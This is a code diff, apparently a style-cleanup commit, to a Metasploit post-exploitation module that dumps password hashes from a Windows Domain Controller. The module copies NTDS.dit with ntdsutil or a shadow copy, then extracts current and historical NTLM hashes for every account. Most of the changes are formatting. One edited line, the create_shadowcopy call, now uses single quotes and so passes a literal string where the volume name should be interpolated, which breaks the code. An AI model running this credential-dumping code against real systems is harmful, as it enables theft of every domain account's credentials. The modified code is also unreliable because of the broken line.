@@ -14,23 +14,28 @@ class MetasploitModule < Msf::Post
14
14
include Msf ::Post ::File
15
15
include Msf ::Post ::Windows ::ExtAPI
16
16
17
- def initialize ( info = { } )
18
- super ( update_info ( info ,
19
- 'Name' => 'Windows Domain Controller Hashdump' ,
20
- 'Description' => %q{
17
+ def initialize ( info = { } )
18
+ super (
19
+ update_info (
20
+ info ,
21
+ 'Name' => 'Windows Domain Controller Hashdump' ,
22
+ 'Description' => %q(
21
23
This module attempts to copy the NTDS.dit database from a live Domain Controller
22
24
and then parse out all of the User Accounts. It saves all of the captured password
23
25
hashes, including historical ones.
24
- } ,
25
- 'License' => MSF_LICENSE ,
26
- 'Author' => [ 'theLightCosine' ] ,
27
- 'Platform' => [ 'win' ] ,
28
- 'SessionTypes' => [ 'meterpreter' ]
29
- ) )
30
- deregister_options ( 'SMBUser' , 'SMBPass' , 'SMBDomain' )
26
+ ) ,
27
+ 'License' => MSF_LICENSE ,
28
+ 'Author' => [ 'theLightCosine' ] ,
29
+ 'Platform' => [ 'win' ] ,
30
+ 'SessionTypes' => [ 'meterpreter' ]
31
+ )
32
+ )
33
+ deregister_options ( 'SMBUser' , 'SMBPass' , 'SMBDomain' )
31
34
register_options (
32
- [ OptBool . new ( 'CLEANUP' ,
33
- [ true , 'Automatically delete ntds backup created' , true ] ) ] )
35
+ [ OptBool . new (
36
+ 'CLEANUP' , [ true , 'Automatically delete ntds backup created' , true ]
37
+ ) ]
38
+ )
34
39
end
35
40
36
41
def run
@@ -59,7 +64,7 @@ def run
59
64
ad_account . nt_history . each_with_index do |nt_hash , index |
60
65
hash_string = ad_account . lm_history [ index ] || Metasploit ::Credential ::NTLMHash ::BLANK_LM_HASH
61
66
hash_string << ":#{ nt_hash } "
62
- report_hash ( hash_string . downcase , ad_account . name , realm )
67
+ report_hash ( hash_string . downcase , ad_account . name , realm )
63
68
end
64
69
end
65
70
end
@@ -76,19 +81,19 @@ def run
76
81
def copy_database_file
77
82
database_file_path = nil
78
83
case sysinfo [ "OS" ]
79
- when /2003| \. NET/
80
- print_status "Using Volume Shadow Copy Method"
81
- database_file_path = vss_method
82
- when /2008|2012|2016/
83
- print_status "Using NTDSUTIL method"
84
- database_file_path = ntdsutil_method
85
- else
86
- print_error "This version of Windows is unsupported"
84
+ when /2003| \. NET/
85
+ print_status "Using Volume Shadow Copy Method"
86
+ database_file_path = vss_method
87
+ when /2008|2012|2016/
88
+ print_status "Using NTDSUTIL method"
89
+ database_file_path = ntdsutil_method
90
+ else
91
+ print_error "This version of Windows is unsupported"
87
92
end
88
93
database_file_path
89
94
end
90
95
91
- def is_domain_controller ?
96
+ def domain_controller ?
92
97
if ntds_location
93
98
file_exist? ( "#{ ntds_location } \\ ntds.dit" )
94
99
else
@@ -97,13 +102,13 @@ def is_domain_controller?
97
102
end
98
103
99
104
def ntds_location
100
- @ntds_location ||= registry_getvaldata ( "HKLM\\ SYSTEM\\ CurrentControlSet\\ services\\ NTDS\\ Parameters\\ " , "DSA Working Directory" )
105
+ @ntds_location ||= registry_getvaldata ( "HKLM\\ SYSTEM\\ CurrentControlSet\\ services\\ NTDS\\ Parameters\\ " , "DSA Working Directory" )
101
106
end
102
107
103
108
def ntdsutil_method
104
- tmp_path = "#{ get_env ( " %WINDIR%" ) } \\ Temp\\ #{ Rex ::Text . rand_text_alpha ( ( rand ( 8 ) + 6 ) ) } "
109
+ tmp_path = "#{ get_env ( ' %WINDIR%' ) } \\ Temp\\ #{ Rex ::Text . rand_text_alpha ( ( rand ( 8 ) + 6 ) ) } "
105
110
command_arguments = "\" activate instance ntds\" \" ifm\" \" Create Full #{ tmp_path } \" quit quit"
106
- result = cmd_exec ( "ntdsutil.exe" , command_arguments , 90 )
111
+ result = cmd_exec ( "ntdsutil.exe" , command_arguments , 90 )
107
112
if result . include? "IFM media created successfully"
108
113
file_path = "#{ tmp_path } \\ Active Directory\\ ntds.dit"
109
114
print_status "NTDS database copied to #{ file_path } "
@@ -115,15 +120,14 @@ def ntdsutil_method
115
120
file_path
116
121
end
117
122
118
-
119
123
def preconditions_met?
120
124
if is_admin?
121
125
print_status "Session has Admin privs"
122
126
else
123
127
print_error "This module requires Admin privs to run"
124
128
return false
125
129
end
126
- if is_domain_controller ?
130
+ if domain_controller ?
127
131
print_status "Session is on a Domain Controller"
128
132
else
129
133
print_error "This does not appear to be an AD Domain Controller"
@@ -136,7 +140,7 @@ def preconditions_met?
136
140
return true
137
141
end
138
142
139
- def repair_ntds ( path = '' )
143
+ def repair_ntds ( path = '' )
140
144
arguments = "/p /o \" #{ path } \" "
141
145
cmd_exec ( "esentutl" , arguments )
142
146
end
@@ -171,12 +175,12 @@ def vss_method
171
175
fail_with ( Failure ::NoAccess , "Unable to start VSS service" )
172
176
end
173
177
location = ntds_location . dup
174
- volume = location . slice! ( 0 , 3 )
175
- id = create_shadowcopy ( " #{ volume } " )
178
+ volume = location . slice! ( 0 , 3 )
179
+ id = create_shadowcopy ( ' #{volume}' )
176
180
print_status "Getting Details of ShadowCopy #{ id } "
177
181
sc_details = get_sc_details ( id )
178
182
sc_path = "#{ sc_details [ 'DeviceObject' ] } \\ #{ location } \\ ntds.dit"
179
- target_path = "#{ get_env ( " %WINDIR%" ) } \\ Temp\\ #{ Rex ::Text . rand_text_alpha ( ( rand ( 8 ) + 6 ) ) } "
183
+ target_path = "#{ get_env ( ' %WINDIR%' ) } \\ Temp\\ #{ Rex ::Text . rand_text_alpha ( ( rand ( 8 ) + 6 ) ) } "
180
184
print_status "Moving ntds.dit to #{ target_path } "
181
185
move_file ( sc_path , target_path )
182
186
target_path
0 commit comments